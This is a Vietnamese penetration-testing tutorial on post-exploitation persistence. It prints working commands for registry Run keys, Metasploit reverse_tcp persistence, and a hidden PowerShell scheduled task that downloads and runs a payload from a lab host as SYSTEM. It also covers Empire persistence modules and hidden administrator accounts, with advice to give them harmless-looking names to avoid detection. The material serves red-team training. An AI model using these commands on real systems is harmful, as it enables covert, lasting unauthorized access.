Mở đầu
Trong những phần trước của chuỗi bài viết về kiểm thử xâm nhập, chúng ta đã khám phá các bước pre-exploit, tập trung vào việc phát hiện và tận dụng lỗ hổng để tiếp cận hệ thống mục tiêu. Bài viết này tập trung vào những gì xảy ra sau khi chúng ta đã thành công trong việc tìm và khai thác lỗ hổng. Chúng ta sẽ bắt đầu với chủ đề Persistence.
Persistence
Trong lĩnh vực kiểm thử xâm nhập, chúng ta gọi việc duy trì quyền truy cập vào các thiết bị đã bị tấn công trước đó là "Persistence." Việc duy trì quyền truy cập là rất quan trọng do các lỗ hổng và hệ điều hành mà chúng ta tấn công có thể không ổn định. Bạn không thể chắc chắn sau khi tấn công và khai thác thành công, bạn có thể duy trì quyền truy cập vào hệ thống. Việc mất quyền truy cập có thể xảy ra vì nhiều nguyên nhân khác nhau: Quản trị viên hệ thống có thể vá lỗ hổng mà bạn đã khai thác để tiếp cận, hoặc họ có thể khởi động lại hệ thống. Điều đầu tiên mà một kẻ tấn công cố gắng là đảm bảo rằng họ có cách để trở lại hệ thống nếu một trong những tình huống này xảy ra.
Có nhiều kỹ thuật để persistence khác nhau trên Windows và Linux, bài viết của mình hôm nay sẽ nói chi tiết về các kỹ thuật trên hệ điều hành Windows và giới thiệu qua về persistence trên Linux.
Windows Persistence
1. Windows Registry
Kỹ thuật đầu tiên chúng ta tìm hiểu là sửa đổi Windows registry. Windows registry về cơ bản là bộ não đằng sau Windows và đóng vai trò là cơ quan quản lý hầu hết tất cả các cấu hình Windows. Nó bao gồm các Root keys, được biểu thị dưới dạng thư mục nếu bạn đang sử dụng một công cụ như regedit để duyệt sổ đăng ký:
Việc tạo và chỉnh sửa các registry keys để thực thi payload là một trong những thủ thuật lâu đời nhất của Red team. Kỹ thuật persistence này yêu cầu tạo các registry run keys (là một phần của Registry và nằm trong các root keys như HKEY_LOCAL_MACHINE hoặc HKEY_CURRENT_USER).
a. Chạy command trong Terminal
Windows Registry keys có thể được thêm từ terminal vào run keys để đạt được persistence. Các khóa này sẽ chứa tham chiếu đến payload và sẽ được thực thi khi người dùng đăng nhập. Các vị trí sau trong Registry thường được sử dụng trong quá trình persitence:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
Nếu đã có được quyền truy cập nâng cao thì ta có thể sử dụng HKEY_LOCAL_MACHINE thay vì HKEY_CURRENT_USER vì payload sẽ được thực thi mỗi khi hệ thống khởi động bất kể người dùng nào đang đăng nhập với hệ thống.
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
b. Sử dụng metasploit
Metasploit Framework hỗ trợ persitence thông qua Registry bằng cách sử dụng Meterpreter script và các mô-đun post-exploitation. Meterpreter script sẽ tạo một payload dưới dạng tập lệnh VBS ghi vào disk từ đó sẽ tạo Registry key để chạy payload trong quá trình đăng nhập của người dùng.
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21
Trong lần đăng nhập tiếp theo, payload sẽ được thực thi và kết nối lại với Meterpeter.
Ngoài ra, có một mô-đun khai thác khác có thể được sử dụng để duy trì quyền truy cập. Mô-đun sau sẽ gửi tệp thực thi vào vị trí có thể ghi trên hệ thống bị xâm nhập:
use post/windows/manage/persistence_exe
set REXEPATH /tmp/pentestlab.exe
set SESSION 2
set STARTUP USER
set LOCALEXEPATH C:\\tmp
run
Cấu hình Mô-đun trên sẽ sử dụng vị trí đăng ký của người dùng hiện tại sau khi chọn option USER:
Mô-đun trên có thể tạo Registry key ở HKLM nếu bạn có đặc quyền cấp HỆ THỐNG. Chỉnh sửa tùy chọn STARTUP sang SYSTEM.
set STARTUP SYSTEM
2. Persistence với Scheduled Tasks
Hệ điều hành Windows cung cấp một tiện ích (schtasks.exe) cho phép quản trị viên hệ thống thực thi một chương trình hoặc tập lệnh vào một ngày và giờ cụ thể. Chức năng này đã bị các attacker và red team sử dụng rất nhiều cho quá trình persistence. Chức năng này không cần phải có đặc quyền của quản trị viên để thực hiện lên lịch chạy định kỳ, tuy nhiên, để thực hiện các hành động như thực thi một task trong khi người dùng đăng nhập hoặc trong trạng thái không hoạt động cần đạt được các đặc quyền nâng cao.
Kỹ thuật persistence của các scheduled tasks có thể được thực hiện theo cách thủ công và tự động. Payload có thể được thực thi từ máy hoặc thực thi từ xa và chúng có thể có dạng các tệp thực thi hoặc tập lệnh PowerShell. Đây được coi là một kỹ thuật persistence cũ, tuy nhiên nó vẫn có thể được sử dụng trong nhiều tình huống và được hỗ trợ bởi nhiều công cụ open source. Mô-đun “ web_delivery ” của Metasploit có thể được sử dụng để lưu trữ và tạopayload ở nhiều định dạng khác nhau.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit
Từ command, lệnh “ schtasks ” có thể được sử dụng để tạo một schedule task, nó sẽ tải xuống và thực thi payload dựa trên PowerShell trong mỗi lần đăng nhập Windows dưới dạng SYSTEM.
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
Khi người dùng đăng nhập lại vào hệ thống, payload sẽ được thực thi và session Meterpreter sẽ được kết nối.
Ta cũng có thể tạo schedule task để việc thực thi xảy ra trong quá trình khởi động hệ thống hoặc khi phiên người dùng không hoạt động (idle mode).
/sc onstart /ru System
: thực thi khi khởi động hệ thống/sc onidle /i 30
: thực thi khi đang trong idle mode
Ngoài ra ta có thể sử dụng Query
để kiểm tra các task của bạn đã tạo:
schtasks /Query /tn PentestLab
3. Persistence sử dụng Service Controller
Lệnh quản lý dịch vụ Windows (sc) là một công cụ mạnh mẽ để kiểm soát dịch vụ trên hệ thống cục bộ và từ xa và nó thường được giới hạn cho người quản trị. Tuy nhiên, lệnh sc cũng có thể được sử dụng như một cách để sử dụng persistence
Lệnh sc
có một trang trợ giúp phong phú bao gồm các tùy chọn để liệt kê, cấu hình, bắt đầu, dừng, tạo và xóa dịch vụ, để xem các tùy chọn liên quan đến việc tạo một dịch vụ, bạn có thể gõ lệnh sc create /?
.
Khi bạn tạo một dịch vụ, nó thường chạy với quyền SYSTEM. Điều này đòi hỏi dịch vụ nên được cấu hình để chạy với quyền tối thiểu cần thiết, ưu tiên là một tài khoản với quyền thấp. Lưu ý rằng dịch vụ được cấu hình để chạy thông qua lệnh sc
trên Windows sẽ hết hạn sau 30 giây nếu không được viết đúng cách.
Ví dụ để định cấu hình dịch vụ để chạy file shell.exe, bạn tạo lệnh như sau:
sc create myshell binpath= "C:Users\alice\shell.exe"
Lúc này bạn sẽ nhận được thông báo dịch vụ được tạo thành công. Bắt đầu dịch vụ với lệnh:
sc start myshell
Sau khi hoàn thành công việc, bạn có thể xóa dịch vụ bằng lệnh:
sc delete myshell
4. Persistence với powershell Empire
PowerShell Empire cung cấp nhiều phương pháp và tùy chọn để giúp bạn duy trì quyền truy cập vào máy chủ mà bạn đã tấn công. Trong Empire, các mô-đun duy trì quyền truy cập nâng cao sử dụng phương pháp kích hoạt và các tùy chọn lưu trữ khác nhau được yêu cầu trong từng mô-đun. Tất cả các mô-đun duy trì quyền truy cập này dựa trên tính bền vững của PowerSploit. Bởi vì đây là duy trì quyền truy cập nâng cao, bạn cần có quyền quản trị để hoạt động.
Các mô-đun về duy trì quyền truy cập nói đến trong bài viết này bao gồm:
- Persistence/elevated/registry
- Persistence/elevated/schtask
- Persistence/elevated/wmi
a. Persistence/elevated/registry
Đầu tiên là kỹ thuật Persitence sử dụng Windows registry
kết hợp với Powershell Empire
. Nó sử dụng phiên bản HKLM để kích hoạt payload vào hệ thống
Trước hết, chúng ta cần có một phiên nâng cao (phiên với quyền quản trị) thông qua Empire. Như bạn có thể thấy trong hình ảnh dưới đây, giá trị High Integrity được đặt thành 1, điều này có nghĩa là chúng ta có quyền quản trị. Bây giờ, chúng ta sẽ sử dụng mô-đun đầu tiên được liệt kê ở trên và sử dụng các lệnh sau:
usemodule persistence/elevated/registry*
set Listener http
execute
Mô-đun trên được thực thi và khi máy mục tiêu được khởi động lại, ta sẽ có được session kết nối. Như thể hiện trong hình ảnh dưới đây:
b. Persistence/elevated/schtask
Tiếp theo là kỹ thuật Persitence sử dụng Scheduled Tasks
kết hợp với Powershell Empire
. Tùy chọn này làm cho mô-đun trở nên phức tạp hơn một chút vì nó đặt payload để kích hoạt lập lịch hàng ngày tại bất kỳ thời điểm nào hoặc sử dụng tùy chọn OnLogon để kích hoạt payload khi người dùng đăng nhập (tùy chọn OnLogon không hiển thị cửa sổ thông báo và chạy dưới dạng SYSTEM). Một lần nữa sau khi đăng nhập với đặc quyền của quản trị viên, ta sẽ sử dụng bộ lệnh sau để kích hoạt mô-đun kiên trì đã nói:
usemodule persistence/elevated/schtasks*
set OnLogon True
set Listener http
execute
Do tùy chọn OnLogon, session sẽ kết nối trở lại với ngay sau khi người dùng đăng nhập vào hệ thống của họ:
c. Persistence/elevated/wmi
Mô-đun WMI là mô-đun duy trì quyền truy cập phổ biến nhất. Nó cho phép bạn thêm một tải WMI cố định vào DailyTime (tức là vào một thời điểm cụ thể) hoặc khi khởi động. Mô-đun này chạy dưới dạng SYSTEM và không phụ thuộc vào việc người dùng đã đăng nhập. Để sử dụng mô-đun này chạy lệnh:
usemodule persistence/elevated/wmi*
set Listener http
set AtStartup True
execute
Do payload đã đặt AtStartup=True
, nên ta sẽ có session của mình ngay khi máy mục tiêu khởi động giống như được hiển thị trong hình bên dưới:
Tóm lại các mô-đun Persistence trong Empire cung cấp các phương pháp đa dạng để thực hiện persistence. Tùy thuộc vào cách mô-đun được cấu hình, người tấn công có thể lên kế hoạch để kích hoạt backdoor vào hệ thống tại một thời điểm cụ thể hoặc sau khi người dùng đăng nhập. Điều quan trọng là chúng ta đã thấy cách sử dụng mô-đun Persistence trong Empire để duy trì quyền truy cập có độ tin cậy và mức độ bảo mật cao, đồng thời tránh sự phát hiện từ các công cụ bảo mật.
5. Persistence bằng cách tạo Windows account
Thêm tài khoản người dùng là một cách đơn giản để duy trì quyền đăng nhập trong hệ thống. Việc này giúp chúng ta duy trì quyền truy cập từ xa mà không cần luôn phải đăng nhập vào các tài khoản đã có (rủi ro phát hiện cao và có thể bị mất quyền điều khiển nếu người dùng đó đổi mật khẩu).
Lưu ý để có thể thêm tài khoản người dùng cục bộ trên Windows, bạn cần quyền quản trị viên hoặc quyền SYSTEM và có thể thực hiện qua cmd.exe hoặc PowerShell. . Để làm điều này, bạn chỉ cần chạy hai lệnh sau:
net user guesst SuperPassw0rd! /add /y
net localgroup Administrators guesst /add
Giải thích về 2 lệnh trên
- Lệnh 1: Tạo một người dùng mới với tên là "guesst" và mật khẩu là "SuperPassw0rd!" trên hệ thống Windows. Ta nên thêm các user độc hại mới nhưng núp dưới những cái cái tên vô hại để tránh bị phát hiện trong quá trình rà soát lại an ninh.
- Lệnh 2: Thêm người dùng có tên "guesst" vào nhóm "Quản trị viên." Người dùng trong nhóm "Administrators" có quyền cấp cao và có thể thực hiện các thao tác quản trị trên hệ thống.
Để xóa tài khoản bạn đã thêm, hãy chạy lệnh sau:
net user guesst /delete
Tương tự ta cũng có các lệnh để chạy trên Powershell (2 dòng lệnh đầu tiên để tạo tài khoản, dòng cuối dùng để xóa tài khoản khỏi thiết bị):
New-LocalUser -Name "guesst" -Password (ConvertTo-SecureString "SuperPassw0rd!" -AsPlainText -Force) Add-LocalGroupMember -Group "Administrators" -Member "guesst" Remove-LocalUser -Name guesst
Linux Persistence
Kỹ thuật persistence trong linux cũng có nhiều điểm tương đồng với Windows như:
- Tạo user với quyền root sử dụng lệnh:
sudo useradd guest sudo usermod -aG sudo guest
- Ghi đè các tệp tin độc hại và ép chương trình chạy định kỳ theo ý muốn với Crontab
- Persistence thông qua startup service
Ngoài ra còn có nhiều kỹ thuật đặc trưng trong linux. Để tìm hiểu rõ hơn về các kỹ thuật Persistence trong linux, các bạn có thể đọc bài viết rất chi tiết dưới đây
Kỹ thuật Persistence trong Red Teaming
Kết luận
Trong bài viết này, chúng ta đã tìm hiểu về khái niệm "Persistence" trong lĩnh vực kiểm thử xâm nhập. Chúng ta đã khám phá chi tiết các phương pháp và cách để duy trì quyền truy cập này trong môi trường Windows.
Chúng ta cũng đã nhận thấy mối tương quan giữa các công cụ được sử dụng bởi quản trị viên hệ thống và những công cụ được sử dụng bởi attacker. Điều này làm nổi bật tính toàn diện của việc kiểm thử xâm nhập, nơi pentester cần phải nắm vững cả việc quản trị hệ thống và tấn công, từ đó hiểu và bảo vệ trước những rủi ro tiềm năng.
Trong các phần sau của loạt bài viết về kiểm thử xâm nhập, chúng ta sẽ tiếp tục khám phá các khía cạnh khác của kiểm thử xâm nhập, bao gồm Privilege Escalation và Defense Evasion. Điều này sẽ giúp chúng ta xây dựng một hiểu biết chi tiết về cách người tấn công có thể tận dụng các lỗ hổng và cách mà người thực hiện kiểm thử xâm nhập có thể bảo vệ hệ thống khỏi các cuộc tấn công này.